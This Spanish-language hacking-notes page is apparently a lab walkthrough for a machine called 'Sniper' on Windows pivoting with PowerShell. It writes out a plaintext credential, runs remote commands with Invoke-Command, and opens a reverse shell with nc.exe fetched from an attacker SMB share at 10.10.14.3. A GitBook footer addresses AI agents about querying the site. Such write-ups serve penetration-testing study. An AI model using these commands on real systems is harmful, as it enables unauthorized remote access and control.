> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/post-exploitation/pivoting-windows-powershell.md).

# Pivoting en Windows (PowerShell)

### PowerShell

Lanzamos PowerShell en nuestra máquina de ataque:

```bash
powershell
```

Ahora hemos recuperado el nombre del entorno Windows con el `hostname` comando, y hemos confirmado que el nombre del hotel es `Sniper`.

```powershell
hostname
```

A continuación, creamos una variable para el usuario `Chris` y otra para la contraseña usando `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

Así, hemos creado un `PSCredential` objeto para poder ejecutar comandos a distancia en la máquina:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**Ejecución de comandos remotos:** / Ahora hemos usado el siguiente comando para ejecutar `whoami` de forma remota y validar los accesos:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* Esto nos permitió confirmar que, efectivamente, estábamos conectados como **Chris**.

<figure><img src="/files/cdc6dbed5a71c1dc96b9d31e76ba628a297264ac" alt=""><figcaption></figcaption></figure>

**Shell inversa :** / Para obtener acceso completo al sistema, configuramos un listener en el puerto 4444:

```bash
rlwrap nc -nlvp 4444
```

A continuación, ejecutamos una shell inversa usando `nc.exe` desde nuestro servidor SMB:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444}
```

{% endcode %}

<figure><img src="/files/6904ad99cc042aa8ca40a2e9636bacb8384a65eb" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/post-exploitation/pivoting-windows-powershell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
